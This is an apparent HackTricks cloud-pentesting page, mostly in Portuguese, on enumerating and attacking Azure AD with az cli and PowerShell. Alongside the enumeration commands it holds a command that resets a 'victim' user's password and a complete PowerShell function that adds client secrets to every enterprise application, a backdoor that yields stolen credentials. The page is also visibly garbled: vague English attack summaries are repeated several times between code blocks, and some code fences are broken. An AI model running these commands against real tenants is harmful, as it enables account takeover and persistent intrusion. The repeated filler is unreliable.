Português - Ht Cloud
HackTricks Training Twitter Linkedin Sponsor

Az - AzureAD (AAD)

Aprenda hacking AWS do zero ao herói com htARTE (HackTricks AWS Red Team Expert)!

Outras maneiras de apoiar o HackTricks:

Informações Básicas

O Azure Active Directory (Azure AD) serve como o serviço baseado em nuvem da Microsoft para gerenciamento de identidade e acesso. É fundamental para permitir que os funcionários façam login e acessem recursos, tanto dentro quanto fora da organização, abrangendo o Microsoft 365, o portal Azure e uma infinidade de outras aplicações SaaS. O design do Azure AD se concentra em fornecer serviços de identidade essenciais, incluindo autenticação, autorização e gerenciamento de usuários.

Recursos-chave do Azure AD envolvem autenticação multifator e acesso condicional, juntamente com integração perfeita com outros serviços de segurança da Microsoft. Esses recursos elevam significativamente a segurança das identidades dos usuários e capacitam as organizações a implementar e fazer cumprir efetivamente suas políticas de acesso. Como componente fundamental do ecossistema de serviços em nuvem da Microsoft, o Azure AD é essencial para o gerenciamento baseado em nuvem de identidades de usuários.

Entidades

Enumeração

Para esta enumeração, você pode usar a ferramenta az cli, o módulo PowerShell AzureAD (ou AzureAD Preview) e o módulo Az PowerShell.

No Linux, você precisará instalar o PowerShell Core:

sudo apt-get update
sudo apt-get install -y wget apt-transport-https software-properties-common

# Ubuntu 20.04
wget -q https://packages.microsoft.com/config/ubuntu/20.04/packages-microsoft-prod.deb

# Update repos
sudo apt-get update
sudo add-apt-repository universe

# Install & start powershell
sudo apt-get install -y powershell
pwsh

# Az cli
curl -sL https://aka.ms/InstallAzureCLIDeb | sudo bash

Diferenças entre os módulos

  • AzureAD é um módulo do PowerShell da Microsoft para gerenciar o Azure AD. Não mostra todas as propriedades dos objetos do Azure AD e não pode ser usado para acessar informações dos recursos do Azure.

  • Az PowerShell é um módulo para gerenciar recursos do Azure a partir da linha de comando do PowerShell.

Conexão

az login #This will open the browser
az login -u <username> -p <password> #Specify user and password
az login --identity #Use the current machine managed identity (metadata)
az login --identity -u /subscriptions/<subscriptionId>/resourcegroups/myRG/providers/Microsoft.ManagedIdentity/userAssignedIdentities/myID #Login with user managed identity
# Login as service principal
az login --service-principal -u http://azure-cli-2016-08-05-14-31-15 -p VerySecret --tenant contoso.onmicrosoft.com #With password
az login --service-principal -u http://azure-cli-2016-08-05-14-31-15 -p ~/mycertfile.pem --tenant contoso.onmicrosoft.com #With cert

# Request access token (ARM)
az account get-access-token
# Request access token for different resource. Supported tokens: aad-graph, arm, batch, data-lake, media, ms-graph, oss-rdbms
az account get-access-token --resource-type aad-graph

# If you want to configure some defaults
az configure

# Get user logged-in already
az ad signed-in-user show

# Help
az find "vm" # Find vm commands
az vm -h # Get subdomains
az ad user list --query-examples # Get examples

Quando você faz login via CLI no Azure com qualquer programa, você está usando um Aplicativo Azure de um locatário que pertence à Microsoft. Esses Aplicativos, como os que você pode criar em sua conta, possuem um ID de cliente. Você não conseguirá ver todos eles nas listas de aplicativos permitidos que você pode ver no console, mas eles são permitidos por padrão.

Por exemplo, um script powershell que autentica usa um aplicativo com o ID de cliente 1950a258-227b-4e31-a9cf-717495945fc2. Mesmo que o aplicativo não apareça no console, um sysadmin poderia bloquear esse aplicativo para que os usuários não possam acessar usando ferramentas que se conectam através desse Aplicativo.

No entanto, existem outros IDs de cliente de aplicativos que permitirão que você se conecte ao Azure:

# The important part is the ClientId, which identifies the application to login inside Azure

$token = Invoke-Authorize -Credential $credential `
-ClientId '1dfb5f98-f363-4b0f-b63a-8d20ada1e62d' `
-Scope 'Files.Read.All openid profile Sites.Read.All User.Read email' `
-Redirect_Uri "https://graphtryit-staging.azurewebsites.net/" `
-Verbose -Debug `
-InformationAction Continue

$token = Invoke-Authorize -Credential $credential `
-ClientId '65611c08-af8c-46fc-ad20-1888eb1b70d9' `
-Scope 'openid profile Sites.Read.All User.Read email' `
-Redirect_Uri "chrome-extension://imjekgehfljppdblckcmjggcoboemlah" `
-Verbose -Debug `
-InformationAction Continue

$token = Invoke-Authorize -Credential $credential `
-ClientId 'd3ce4cf8-6810-442d-b42e-375e14710095' `
-Scope 'openid' `
-Redirect_Uri "https://graphexplorer.azurewebsites.net/" `
-Verbose -Debug `
-InformationAction Continue

Utilizadores

# Enumerate users
az ad user list --output table
az ad user list --query "[].userPrincipalName"
# Get info of 1 user
az ad user show --id "test@corp.onmicrosoft.com"
# Search "admin" users
az ad user list --query "[].displayName" | findstr /i "admin"
az ad user list --query "[?contains(displayName,'admin')].displayName"
# Search attributes containing the word "password"
az ad user list | findstr /i "password" | findstr /v "null,"
# All users from AzureAD
az ad user list --query "[].{osi:onPremisesSecurityIdentifier,upn:userPrincipalName}[?osi==null]"
az ad user list --query "[?onPremisesSecurityIdentifier==null].displayName"
# All users synced from on-prem
az ad user list --query "[].{osi:onPremisesSecurityIdentifier,upn:userPrincipalName}[?osi!=null]"
az ad user list --query "[?onPremisesSecurityIdentifier!=null].displayName"
# Get groups where the user is a member
az ad user get-member-groups --id <email>
# Get roles assigned to the user
az role assignment list --include-groups --include-classic-administrators true --assignee <email>

Azure AD

Enumeration

User Enumeration

Azure AD allows anonymous enumeration of users. This can be done using the Graph API or the Azure AD PowerShell module.

Graph API

GET https://graph.windows.net/yourtenant/users?api-version=1.6

Azure AD PowerShell Module

Get-MsolUser -All

Group Enumeration

Similarly, groups can also be enumerated using the Graph API or the Azure AD PowerShell module.

Graph API

GET https://graph.windows.net/yourtenant/groups?api-version=1.6
``json
{
    "odata.metadata": "https://graph.windows.net/yourtenant/$metadata#directoryObjects/Microsoft.DirectoryServices.Group",
    "value": []
}

Azure AD PowerShell Module

Get-MsolGroup -All

Brute Force

Azure AD does not have any account lockout policy by default, making it susceptible to brute force attacks. Tools like MSOLSpray can be used for brute forcing Azure AD accounts.

Password Spraying

Password spraying attacks can be performed against Azure AD using tools like MSOLSpray or AzureSpray.

Password Policies

Azure AD allows the enforcement of password policies such as complexity requirements and password expiration.

Multi-Factor Authentication Bypass

In some cases, multi-factor authentication (MFA) can be bypassed using techniques like phishing or using legacy authentication protocols that do not support MFA.

Privilege Escalation

Privilege escalation in Azure AD can be achieved by exploiting misconfigurations, weak permissions, or by abusing administrative roles.

Data Exfiltration

Sensitive data stored in Azure AD can be exfiltrated using techniques like OAuth token theft or abusing application permissions.

Persistence

Attackers can establish persistence in Azure AD by creating backdoor accounts, adding malicious service principals, or using compromised credentials.

Enumeration

User Enumeration

Azure AD allows anonymous enumeration of users. This can be done using the Graph API or the Azure AD PowerShell module.

Graph API

GET https://graph.windows.net/yourtenant/users?api-version=1.6

Azure AD PowerShell Module

Get-MsolUser -All

Group Enumeration

Similarly, groups can also be enumerated using the Graph API or the Azure AD PowerShell module.

Graph API

GET https://graph.windows.net/yourtenant/groups?api-version=1.6
{
    "odata.metadata": "https://graph.windows.net/yourtenant/$metadata#directoryObjects/Microsoft.DirectoryServices.Group",
    "value": []
}

Azure AD PowerShell Module

Get-MsolGroup -All

Brute Force

Azure AD does not have any account lockout policy by default, making it susceptible to brute force attacks. Tools like MSOLSpray can be used for brute forcing Azure AD accounts.

Password Spraying

Password spraying attacks can be performed against Azure AD using tools like MSOLSpray or AzureSpray.

Password Policies

Azure AD allows the enforcement of password policies such as complexity requirements and password expiration.

Multi-Factor Authentication Bypass

In some cases, multi-factor authentication (MFA) can be bypassed using techniques like phishing or using legacy authentication protocols that do not support MFA.

Privilege Escalation

Privilege escalation in Azure AD can be achieved by exploiting misconfigurations, weak permissions, or by abusing administrative roles.

Data Exfiltration

Sensitive data stored in Azure AD can be exfiltrated using techniques like OAuth token theft or abusing application permissions.

Persistence

Attackers can establish persistence in Azure AD by creating backdoor accounts, adding malicious service principals, or using compromised credentials.

# Enumerate Users
Get-AzureADUser -All $true
Get-AzureADUser -All $true | select UserPrincipalName
# Get info of 1 user
Get-AzureADUser -ObjectId test@corp.onmicrosoft.com | fl
# Search "admin" users
Get-AzureADUser -SearchString "admin" #Search admin at the begining of DisplayName or userPrincipalName
Get-AzureADUser -All $true |?{$_.Displayname -match "admin"} #Search "admin" word in DisplayName
# Get all attributes of a user
Get-AzureADUser -ObjectId test@defcorphq.onmicrosoft.com|%{$_.PSObject.Properties.Name}
# Search attributes containing the word "password"
Get-AzureADUser -All $true |%{$Properties = $_;$Properties.PSObject.Properties.Name | % {if ($Properties.$_ -match 'password') {"$($Properties.UserPrincipalName) - $_ - $($Properties.$_)"}}}
# All users from AzureAD# All users from AzureAD
Get-AzureADUser -All $true | ?{$_.OnPremisesSecurityIdentifier -eq $null}
# All users synced from on-prem
Get-AzureADUser -All $true | ?{$_.OnPremisesSecurityIdentifier -ne $null}
# Objects created by a/any user
Get-AzureADUser [-ObjectId <email>] | Get-AzureADUserCreatedObject
# Devices owned by a user
Get-AzureADUserOwnedDevice -ObjectId test@corp.onmicrosoft.com
# Objects owned by a specific user
Get-AzureADUserOwnedObject -ObjectId test@corp.onmicrosoft.com
# Get groups & roles where the user is a member
Get-AzureADUserMembership -ObjectId 'test@corp.onmicrosoft.com'
# Get devices owned by a user
Get-AzureADUserOwnedDevice -ObjectId test@corp.onmicrosoft.com
# Get devices registered by a user
Get-AzureADUserRegisteredDevice -ObjectId test@defcorphq.onmicrosoft.com
# Apps where a user has a role (role not shown)
Get-AzureADUser -ObjectId roygcain@defcorphq.onmicrosoft.com | Get-AzureADUserAppRoleAssignment | fl *
# Get Administrative Units of a user
$userObj = Get-AzureADUser -Filter "UserPrincipalName eq 'bill@example.com'"
Get-AzureADMSAdministrativeUnit | where { Get-AzureADMSAdministrativeUnitMember -Id $_.Id | where { $_.Id -eq $userObj.ObjectId } }

Azure AD Enumeration

Enumerate Azure AD Users

To list all users in Azure AD, you can use the following PowerShell command:

Get-AzureADUser

Enumerate Azure AD Groups

To list all groups in Azure AD, you can use the following PowerShell command:

Get-AzureADGroup

Enumerate Azure AD Applications

To list all applications in Azure AD, you can use the following PowerShell command:

Get-AzureADApplication

Enumerate Azure AD Service Principals

To list all service principals in Azure AD, you can use the following PowerShell command:

Get-AzureADServicePrincipal

Enumerate Azure AD Devices

To list all devices in Azure AD, you can use the following PowerShell command:

Get-AzureADDevice

Enumerate Azure AD Domains

To list all domains in Azure AD, you can use the following PowerShell command:

Get-AzureADDomain

Enumerate Azure AD Directory Roles

To list all directory roles in Azure AD, you can use the following PowerShell command:

Get-AzureADDirectoryRole

Enumerate Azure AD Directory Role Members

To list all members of a specific directory role in Azure AD, you can use the following PowerShell command:

Get-AzureADDirectoryRoleMember -ObjectId <DirectoryRoleObjectId>

Replace <DirectoryRoleObjectId> with the actual object ID of the directory role you want to enumerate members for.

# Enumerate users
Get-AzADUser
# Get details of a user
Get-AzADUser -UserPrincipalName test@defcorphq.onmicrosoft.com
# Search user by string
Get-AzADUser -SearchString "admin" #Search at the beginnig of DisplayName
Get-AzADUser | ?{$_.Displayname -match "admin"}
# Get roles assigned to a user
Get-AzRoleAssignment -SignInName test@corp.onmicrosoft.com

Alterar Senha do Usuário

$password = "ThisIsTheNewPassword.!123" | ConvertTo- SecureString -AsPlainText –Force

(Get-AzureADUser -All $true | ?{$_.UserPrincipalName -eq "victim@corp.onmicrosoft.com"}).ObjectId | Set- AzureADUserPassword -Password $password –Verbose

MFA e Políticas de Acesso Condicional

É altamente recomendável adicionar MFA a cada usuário, no entanto, algumas empresas podem não configurá-lo ou podem configurá-lo com um Acesso Condicional: O usuário será obrigado a usar MFA se fizer login de uma localização específica, navegador ou alguma condição. Essas políticas, se não configuradas corretamente, podem estar sujeitas a burlas. Verifique:

pageAz - Conditional Access Policies / MFA Bypass

Grupos

# Enumerate groups
az ad group list
az ad group list --query "[].[displayName]" -o table
# Get info of 1 group
az ad group show --group <group>
# Get "admin" groups
az ad group list --query "[].displayName" | findstr /i "admin"
az ad group list --query "[?contains(displayName,'admin')].displayName"
# All groups from AzureAD
az ad group list --query "[].{osi:onPremisesSecurityIdentifier,displayName:displayName,description:description}[?osi==null]"
az ad group list --query "[?onPremisesSecurityIdentifier==null].displayName"
# All groups synced from on-prem
az ad group list --query "[].{osi:onPremisesSecurityIdentifier,displayName:displayName,description:description}[?osi!=null]"
az ad group list --query "[?onPremisesSecurityIdentifier!=null].displayName"
# Get members of group
az ad group member list --group <group> --query "[].userPrincipalName" -o table
# Check if member of group
az ad group member check --group "VM Admins" --member-id <id>
# Get which groups a group is member of
az ad group get-member-groups -g "VM Admins"
# Get Apps where a group has a role (role not shown)
Get-AzureADGroup -ObjectId <id> | Get-AzureADGroupAppRoleAssignment | fl *

Azure AD

Enumeration

User Enumeration

User enumeration can be performed by making requests to the /users endpoint. This can reveal a list of users within the Azure AD tenant.

Group Enumeration

Group enumeration can be done by querying the /groups endpoint. This can provide a list of groups within the Azure AD tenant.

Brute Force

Password Spraying

Password spraying attacks can be conducted against the Azure AD authentication endpoint to attempt to gain unauthorized access by trying a few common passwords across many accounts.

Credential Stuffing

Credential stuffing involves using lists of known usernames and passwords obtained from previous data breaches to gain unauthorized access to Azure AD accounts.

Phishing

Phishing attacks can be used to trick users into providing their Azure AD credentials, which can then be used to gain unauthorized access to the Azure AD tenant.

Token Manipulation

Token manipulation techniques can be employed to manipulate tokens obtained from Azure AD to gain unauthorized access or escalate privileges within the Azure AD environment.

Password Policies

Understanding and exploiting weak password policies within Azure AD can help in gaining unauthorized access to user accounts.

Multi-Factor Authentication Bypass

Identifying and exploiting vulnerabilities in the multi-factor authentication implementation in Azure AD can allow an attacker to bypass this additional security measure.

Account Lockout Policies

Understanding and potentially bypassing account lockout policies in Azure AD can help in conducting brute force attacks without getting locked out.

Privilege Escalation

Identifying and exploiting privilege escalation vulnerabilities within Azure AD can help an attacker gain higher levels of access within the environment.

Data Exfiltration

Once access has been gained, data exfiltration techniques can be used to steal sensitive information from the Azure AD environment.

Persistence

Establishing persistence within Azure AD can allow an attacker to maintain access to the environment even after initial access has been revoked.

Detection Evasion

Techniques can be employed to evade detection mechanisms within Azure AD, allowing an attacker to operate stealthily within the environment.

Reporting

Documenting and reporting findings from Azure AD security assessments is essential for providing recommendations to improve the overall security posture of the environment.

# Enumerate Groups
Get-AzureADGroup -All $true
# Get info of 1 group
Get-AzADGroup -DisplayName <resource_group_name> | fl
# Get "admin" groups
Get-AzureADGroup -SearchString "admin" | fl #Groups starting by "admin"
Get-AzureADGroup -All $true |?{$_.Displayname -match "admin"} #Groups with the word "admin"
# Get groups allowing dynamic membership
Get-AzureADMSGroup | ?{$_.GroupTypes -eq 'DynamicMembership'}
# All groups that are from Azure AD
Get-AzureADGroup -All $true | ?{$_.OnPremisesSecurityIdentifier -eq $null}
# All groups that are synced from on-prem (note that security groups are not synced)
Get-AzureADGroup -All $true | ?{$_.OnPremisesSecurityIdentifier -ne $null}
# Get members of a group
Get-AzureADGroupMember -ObjectId <group_id>
# Get roles of group
Get-AzureADMSGroup -SearchString "Contoso_Helpdesk_Administrators" #Get group id
Get-AzureADMSRoleAssignment -Filter "principalId eq '69584002-b4d1-4055-9c94-320542efd653'"
# Get Administrative Units of a group
$groupObj = Get-AzureADGroup -Filter "displayname eq 'TestGroup'"
Get-AzureADMSAdministrativeUnit | where { Get-AzureADMSAdministrativeUnitMember -Id $_.Id | where {$_.Id -eq $groupObj.ObjectId} }

Azure AD Enumeration

Enumerate Azure AD Users

To list all users in Azure AD, you can use the following PowerShell command:

Get-AzureADUser

Enumerate Azure AD Groups

To list all groups in Azure AD, you can use the following PowerShell command:

Get-AzureADGroup

Enumerate Azure AD Applications

To list all applications in Azure AD, you can use the following PowerShell command:

Get-AzureADApplication

Enumerate Azure AD Service Principals

To list all service principals in Azure AD, you can use the following PowerShell command:

Get-AzureADServicePrincipal

Enumerate Azure AD Devices

To list all devices in Azure AD, you can use the following PowerShell command:

Get-AzureADDevice

Enumerate Azure AD Domains

To list all domains in Azure AD, you can use the following PowerShell command:

Get-AzureADDomain

Enumerate Azure AD Directory Roles

To list all directory roles in Azure AD, you can use the following PowerShell command:

Get-AzureADDirectoryRole

Enumerate Azure AD Directory Role Members

To list all members of a specific directory role in Azure AD, you can use the following PowerShell command:

Get-AzureADDirectoryRoleMember -ObjectId <DirectoryRoleObjectId>

Replace <DirectoryRoleObjectId> with the actual object ID of the directory role you want to enumerate members for.

# Get all groups
Get-AzADGroup
# Get details of a group
Get-AzADGroup -ObjectId <id>
# Search group by string
Get-AzADGroup -SearchString "admin" | fl * #Search at the beginnig of DisplayName
Get-AzADGroup |?{$_.Displayname -match "admin"}
# Get members of group
Get-AzADGroupMember -GroupDisplayName <resource_group_name>
# Get roles of group
Get-AzRoleAssignment -ResourceGroupName <resource_group_name>

Adicionar usuário ao grupo

Os proprietários do grupo podem adicionar novos usuários ao grupo

Add-AzureADGroupMember -ObjectId <group_id> -RefObjectId <user_id> -Verbose

Os grupos podem ser dinâmicos, o que basicamente significa que se um usuário atender a certas condições, ele será adicionado a um grupo. Claro, se as condições forem baseadas em atributos que um usuário pode controlar, ele poderia abusar desse recurso para entrar em outros grupos. Verifique como abusar dos grupos dinâmicos na seguinte página:

pageAz - Dynamic Groups Privesc

Service Principals / Enterprise Applications

Observe que Service Principal na terminologia do PowerShell é chamado de Enterprise Applications no portal Azure (web).

# Get Service Principals
az ad sp list --all
az ad sp list --all --query "[].[displayName]" -o table
# Get details of one SP
az ad sp show --id 00000000-0000-0000-0000-000000000000
# Search SP by string
az ad sp list --all --query "[?contains(displayName,'app')].displayName"
# Get owner of service principal
az ad sp owner list --id <id> --query "[].[displayName]" -o table
# Get service principals owned by the current user
az ad sp list --show-mine
# List apps that have password credentials
az ad sp list --all --query "[?passwordCredentials != null].displayName"
# List apps that have key credentials (use of certificate authentication)
az ad sp list -all --query "[?keyCredentials != null].displayName"

Azure AD

Enumeration

Users

  1. Enumerate users using the Azure AD Graph API:

GET https://graph.windows.net/myorganization/users?api-version=1.6

  1. Enumerate users using Microsoft Graph API:

GET https://graph.microsoft.com/v1.0/users

Groups

  1. Enumerate groups using the Azure AD Graph API:

GET https://graph.windows.net/myorganization/groups?api-version=1.6

  1. Enumerate groups using Microsoft Graph API:

GET https://graph.microsoft.com/v1.0/groups

Applications

  1. Enumerate applications using the Azure AD Graph API:

GET https://graph.windows.net/myorganization/applications?api-version=1.6

  1. Enumerate applications using Microsoft Graph API:

GET https://graph.microsoft.com/v1.0/applications

Exploitation

Password Spraying

  1. Perform password spraying attacks against Azure AD:

POST https://login.microsoftonline.com/myorganization/oauth2/token

Phishing

  1. Conduct phishing campaigns targeting Azure AD users.

Brute Force

  1. Perform brute force attacks against Azure AD authentication endpoints.

Post-Exploitation

Token Extraction

  1. Extract tokens from compromised Azure AD accounts.

Persistence

  1. Establish persistence by creating backdoors in Azure AD configurations.

Data Exfiltration

  1. Exfiltrate sensitive data from Azure AD using various techniques.

# Get Service Principals
Get-AzureADServicePrincipal -All $true
# Get details about a SP
Get-AzureADServicePrincipal -ObjectId <id> | fl *
# Get SP by string name or Id
Get-AzureADServicePrincipal -All $true | ?{$_.DisplayName -match "app"} | fl
Get-AzureADServicePrincipal -All $true | ?{$_.AppId -match "103947652-1234-5834-103846517389"}
# Get owner of SP
Get-AzureADServicePrincipal -ObjectId <id> | Get-AzureADServicePrincipalOwner |fl *
# Get objects owned by a SP
Get-AzureADServicePrincipal -ObjectId <id> | Get-AzureADServicePrincipalOwnedObject
# Get objects created by a SP
Get-AzureADServicePrincipal -ObjectId <id> | Get-AzureADServicePrincipalCreatedObject
# Get groups where the SP is a member
Get-AzureADServicePrincipal | Get-AzureADServicePrincipalMembership
Get-AzureADServicePrincipal -ObjectId <id> | Get-AzureADServicePrincipalMembership |fl *

AzureAD

Enumerate AzureAD roles

Get-AzureADDirectoryRole

Enumerate AzureAD users

Get-AzureADUser

Enumerate AzureAD groups

Get-AzureADGroup

Enumreamte AzureAD group members

Get-AzureADGroupMember -ObjectId <groupObjectId>

Enumerate AzureAD service principals

Get-AzureADServicePrincipal

Enumerate AzureAD applications

Get-AzureADApplication

Enumerate AzureAD devices

Get-AzureADDevice
# Get SPs
Get-AzADServicePrincipal
# Get info of 1 SP
Get-AzADServicePrincipal -ObjectId <id>
# Search SP by string
Get-AzADServicePrincipal | ?{$_.DisplayName -match "app"}
# Get roles of a SP
Get-AzRoleAssignment -ServicePrincipalName <String>
$Token = 'eyJ0eX..'
$URI = 'https://graph.microsoft.com/v1.0/applications'
$RequestParams = @{
Method  = 'GET'
Uri     = $URI
Headers = @{
'Authorization' = "Bearer $Token"
}
}
(Invoke-RestMethod @RequestParams).value

O proprietário de um Principal de Serviço pode alterar sua senha.

Liste e tente adicionar um segredo do cliente em cada Aplicativo Empresarial

```powershell # Just call Add-AzADAppSecret Function Add-AzADAppSecret { <# .SYNOPSIS Add client secret to the applications.

.PARAMETER GraphToken Pass the Graph API Token

.EXAMPLE PS C:> Add-AzADAppSecret -GraphToken 'eyJ0eX..'

.LINK https://docs.microsoft.com/en-us/graph/api/application-list?view=graph-rest-1.0&tabs=http https://docs.microsoft.com/en-us/graph/api/application-addpassword?view=graph-rest-1.0&tabs=http #>

[CmdletBinding()] param( [Parameter(Mandatory=$True)] [String] $GraphToken = $null )

$AppList = $null $AppPassword = $null

List All the Applications

$Params = @{ "URI" = "https://graph.microsoft.com/v1.0/applications" "Method" = "GET" "Headers" = @{ "Content-Type" = "application/json" "Authorization" = "Bearer $GraphToken" } }

try { $AppList = Invoke-RestMethod @Params -UseBasicParsing } catch { }

Add Password in the Application

if($AppList -ne $null) { [System.Collections.ArrayList]$Details = @()

foreach($App in $AppList.value) { $ID = $App.ID $psobj = New-Object PSObject

$Params = @{ "URI" = "https://graph.microsoft.com/v1.0/applications/$ID/addPassword" "Method" = "POST" "Headers" = @{ "Content-Type" = "application/json" "Authorization" = "Bearer $GraphToken" } }

$Body = @{ "passwordCredential"= @{ "displayName" = "Password" } }

try { $AppPassword = Invoke-RestMethod @Params -UseBasicParsing -Body ($Body | ConvertTo-Json) Add-Member -InputObject $psobj -NotePropertyName "Object ID" -NotePropertyValue $ID Add-Member -InputObject $psobj -NotePropertyName "App ID" -NotePropertyValue $App.appId Add-Member -InputObject $psobj -NotePropertyName "App Name" -NotePropertyValue $App.displayName Add-Member -InputObject $psobj -NotePropertyName "Key ID" -NotePropertyValue $AppPassword.keyId Add-Member -InputObject $psobj -NotePropertyName "Secret" -NotePropertyValue $AppPassword.secretText $Details.Add($psobj) | Out-Null } catch { Write-Output "Failed to add new client secret to '$($App.displayName)' Application." } } if($Details -ne $null) { Write-Output "" Write-Output "Client secret added to : " Write-Output $Details | fl * } } else { Write-Output "Failed to Enumerate the Applications." } }

</details>

### Funções

<div data-gb-custom-block data-tag="tabs"></div>

<div data-gb-custom-block data-tag="tab" data-title='az cli'>

```bash
# Get roles
az role definition list
# Get assigned roles
az role assignment list --all --query "[].roleDefinitionName"
az role assignment list --all | jq '.[] | .roleDefinitionName,.scope'
# Get info of 1 role
az role definition list --name "AzureML Registry User"
# Get only custom roles
az role definition list --custom-role-only
# Get only roles assigned to the resource group indicated
az role definition list --resource-group <resource_group>
# Get only roles assigned to the indicated scope
az role definition list --scope <scope>
# Get all the principals a role is assigned to
az role assignment list --all --query "[].{principalName:principalName,principalType:principalType,resourceGroup:resourceGroup,roleDefinitionName:roleDefinitionName}[?roleDefinitionName=='<ROLE_NAME>']"

Azure AD

Enumeration

User Enumeration

To enumerate users in Azure AD, you can use the Graph API or tools like Azure AD Recon or Azure AD User Enumeration.

Using Graph API

You can use the Graph API to list users in Azure AD. Make a GET request to https://graph.microsoft.com/v1.0/users.

Using Azure AD Recon

Azure AD Recon is a tool that can be used to perform user enumeration in Azure AD. It can help identify valid usernames in the directory.

Using Azure AD User Enumeration

Azure AD User Enumeration is another tool that can be used to enumerate users in Azure AD. It can help identify valid usernames and gather information about users in the directory.

Group Enumeration

To enumerate groups in Azure AD, you can use the Graph API or tools like Azure AD Recon or Azure AD Group Enumeration.

Using Graph API

You can use the Graph API to list groups in Azure AD. Make a GET request to https://graph.microsoft.com/v1.0/groups.

Using Azure AD Recon

Azure AD Recon can also be used to enumerate groups in Azure AD. It can help identify existing groups and their members.

Using Azure AD Group Enumeration

Azure AD Group Enumeration is a tool that can be used to enumerate groups in Azure AD. It can help identify existing groups and gather information about group members.

Exploitation

Password Spraying

Password spraying attacks can be performed against Azure AD to attempt to gain access to user accounts by trying a few common passwords against many accounts.

Phishing

Phishing attacks can be used to trick users into revealing their credentials, which can then be used to gain unauthorized access to Azure AD.

Brute Force

Brute force attacks can be used to crack weak passwords by trying many possible combinations until the correct one is found.

Token Impersonation

Token impersonation attacks involve stealing or forging tokens to impersonate a user and gain unauthorized access to resources in Azure AD.

Password Policies Bypass

Some misconfigurations in password policies can be exploited to bypass password requirements and gain unauthorized access to Azure AD resources.

OAuth Token Abuse

OAuth token abuse involves abusing OAuth tokens to gain unauthorized access to resources in Azure AD.

Privilege Escalation

Privilege escalation attacks involve gaining higher levels of access in Azure AD than originally granted, allowing an attacker to perform unauthorized actions.

Account Takeover

Account takeover attacks involve gaining unauthorized access to a user's account in Azure AD, allowing an attacker to impersonate the user and perform actions on their behalf.

Data Exfiltration

Data exfiltration attacks involve stealing sensitive data from Azure AD, such as user information or credentials, and transferring it to an external location.

Federation Trust Exploitation

Federation trust exploitation attacks involve exploiting trust relationships between Azure AD and external identity providers to gain unauthorized access to resources.

Application Impersonation

Application impersonation attacks involve impersonating a legitimate application to gain unauthorized access to resources in Azure AD.

Insider Threats

Insider threats involve malicious actions taken by users with legitimate access to Azure AD, such as stealing data or disrupting services.

Malware Injection

Malware injection attacks involve injecting malicious code into Azure AD to gain unauthorized access or disrupt services.

Data Manipulation

Data manipulation attacks involve altering or deleting data in Azure AD to achieve unauthorized actions or disrupt operations.

Session Hijacking

Session hijacking attacks involve taking over a user's active session in Azure AD to gain unauthorized access to their account.

Cross-Site Scripting (XSS)

Cross-Site Scripting attacks involve injecting malicious scripts into web applications to steal data or perform unauthorized actions in Azure AD.

Remote Code Execution (RCE)

Remote Code Execution attacks involve executing malicious code on Azure AD servers to gain unauthorized access or disrupt services.

DNS Spoofing

DNS spoofing attacks involve redirecting DNS queries to malicious servers to intercept traffic and gain unauthorized access to Azure AD resources.

Man-in-the-Middle (MitM) Attacks

Man-in-the-Middle attacks involve intercepting communication between users and Azure AD to eavesdrop on sensitive information or manipulate data.

Social Engineering

Social engineering attacks involve manipulating users into performing actions or revealing sensitive information that can be used to gain unauthorized access to Azure AD.

Insider Threats

Insider threats involve malicious actions taken by users with legitimate access to Azure AD, such as stealing data or disrupting services.

Malware Injection

Malware injection attacks involve injecting malicious code into Azure AD to gain unauthorized access or disrupt services.

Data Manipulation

Data manipulation attacks involve altering or deleting data in Azure AD to achieve unauthorized actions or disrupt operations.

Session Hijacking

Session hijacking attacks involve taking over a user's active session in Azure AD to gain unauthorized access to their account.

Cross-Site Scripting (XSS)

Cross-Site Scripting attacks involve injecting malicious scripts into web applications to steal data or perform unauthorized actions in Azure AD.

Remote Code Execution (RCE)

Remote Code Execution attacks involve executing malicious code on Azure AD servers to gain unauthorized access or disrupt services.

DNS Spoofing

DNS spoofing attacks involve redirecting DNS queries to malicious servers to intercept traffic and gain unauthorized access to Azure AD resources.

Man-in-the-Middle (MitM) Attacks

Man-in-the-Middle attacks involve intercepting communication between users and Azure AD to eavesdrop on sensitive information or manipulate data.

Social Engineering

Social engineering attacks involve manipulating users into performing actions or revealing sensitive information that can be used to gain unauthorized access to Azure AD.

```powershell # Get all available role templates Get-AzureADDirectoryroleTemplate # Get enabled roles (Assigned roles) Get-AzureADDirectoryRole Get-AzureADDirectoryRole -ObjectId #Get info about the role # Get custom roles - use AzureAdPreview Get-AzureADMSRoleDefinition | ?{$_.IsBuiltin -eq $False} | select DisplayName # Users assigned a role (Global Administrator) Get-AzureADDirectoryRole -Filter "DisplayName eq 'Global Administrator'" | Get-AzureADDirectoryRoleMember Get-AzureADDirectoryRole -ObjectId | fl # Roles of the Administrative Unit (who has permissions over the administrative unit and its members) Get-AzureADMSScopedRoleMembership -Id | fl * ```

Azure AD Enumeration

Enumerate Azure AD Users

To list all users in Azure AD, you can use the following PowerShell command:

Get-AzureADUser

Enumerate Azure AD Groups

To list all groups in Azure AD, you can use the following PowerShell command:

Get-AzureADGroup

Enumerate Azure AD Applications

To list all applications in Azure AD, you can use the following PowerShell command:

Get-AzureADApplication

Enumerate Azure AD Service Principals

To list all service principals in Azure AD, you can use the following PowerShell command:

Get-AzureADServicePrincipal

Enumerate Azure AD Devices

To list all devices in Azure AD, you can use the following PowerShell command:

Get-AzureADDevice

Enumerate Azure AD Domains

To list all domains in Azure AD, you can use the following PowerShell command:

Get-AzureADDomain

Enumerate Azure AD Directory Roles

To list all directory roles in Azure AD, you can use the following PowerShell command:

Get-AzureADDirectoryRole

Enumerate Azure AD Directory Role Members

To list all members of a specific directory role in Azure AD, you can use the following PowerShell command:

Get-AzureADDirectoryRoleMember -ObjectId <DirectoryRoleObjectId>

Replace <DirectoryRoleObjectId> with the actual object ID of the directory role you want to enumerate members for.

# Get role assignments on the subscription
Get-AzRoleDefinition
# Get Role definition
Get-AzRoleDefinition -Name "Virtual Machine Command Executor"
# Get roles of a user or resource
Get-AzRoleAssignment -SignInName test@corp.onmicrosoft.com
Get-AzRoleAssignment -Scope /subscriptions/<subscription-id>/resourceGroups/<res_group_name>/providers/Microsoft.Compute/virtualMachines/<vm_name>
# Get permissions over a resource using ARM directly
$Token = (Get-AzAccessToken).Token
$URI = 'https://management.azure.com/subscriptions/b413826f-108d-4049-8c11-d52d5d388768/resourceGroups/Research/providers/Microsoft.Compute/virtualMachines/infradminsrv/providers/Microsoft.Authorization/permissions?api-version=2015-07-01'
$RequestParams = @{
Method = 'GET'
Uri = $URI
Headers = @{
'Authorization' = "Bearer $Token"
}
}
